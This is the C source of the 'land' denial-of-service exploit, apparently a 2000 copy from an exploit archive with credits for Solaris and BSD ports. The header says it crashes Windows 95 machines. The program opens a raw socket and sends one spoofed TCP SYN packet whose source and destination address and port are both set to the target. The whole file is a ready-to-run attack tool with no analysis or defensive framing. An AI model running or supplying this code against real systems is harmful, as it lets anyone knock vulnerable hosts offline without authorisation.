/* land.c by m3lt, FLC
   crashes a win95 box
   Ported by blast and jerm to 44BSD
   Ported by ziro antagonist to Solaris 2.5*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>


/* #include <netinet/ip_tcp.h> */
/* #include <netinet/protocols.h> */

/*
struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};
 
u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;
 
        for(i=0;i<(length>>1);i++)
                value+=data[i];
 
        if((length&1)==1)
                value+=(data[i]<<8);
 
        value=(value&65535)+(value>>16);
 
        return(~value);
}
*/

int main(int argc,char * * argv)
{
  struct sockaddr_in sin;
  struct hostent * hoste;
  int sock,foo;
  char buffer[40];
  struct ip * ipheader=(struct ip *) buffer;
  struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
  /*      struct pseudohdr pseudoheader;*/

  fprintf(stderr,"land.c by m3lt mod by blast, FLC, mod by ziro\n");

  if(argc<3)
    {
      fprintf(stderr,"usage: %s IP port\n",argv[0]);
      return(-1);
    }

  bzero(&sin,sizeof(struct sockaddr_in));
  sin.sin_family=AF_INET;

  if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
      fprintf(stderr,"unknown host %s\n",argv[1]);
      return(-1);
    }

  if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
      fprintf(stderr,"unknown port %s\n",argv[2]);
      return(-1);
    }

  if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
    {
      fprintf(stderr,"couldn't allocate raw socket\n");
      return(-1);
    }

  foo=1;
  if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
    {
      fprintf(stderr,"couldn't set raw header on socket\n");
      return(-1);
    }

  bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
  ipheader->ip_v=4;
  ipheader->ip_hl=sizeof(struct ip)/4;
  ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
  ipheader->ip_id=htons(0xF1C);
  ipheader->ip_ttl=255;
  ipheader->ip_p=IPPROTO_TCP;
  ipheader->ip_src=sin.sin_addr;
  ipheader->ip_dst=sin.sin_addr;

  tcpheader->th_sport=sin.sin_port;
  tcpheader->th_dport=sin.sin_port;
  tcpheader->th_seq=htonl(0xF1C);
  tcpheader->th_flags=TH_SYN;
  tcpheader->th_off=sizeof(struct tcphdr)/4;
  tcpheader->th_win=htons(2048);
  tcpheader->th_sum=20;

  /*
          bzero(&pseudoheader,12+sizeof(struct tcphdr));
          pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
          pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
          pseudoheader.protocol=6;
          pseudoheader.length=htons(sizeof(struct tcphdr));
          bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
          tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  */

  if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
    {
      fprintf(stderr,"couldn't send packet,%d\n",errno);
      return(-1);
    }

  fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

  close(sock);
  return(0);
}
/*                    www.hack.co.za              [2000]*/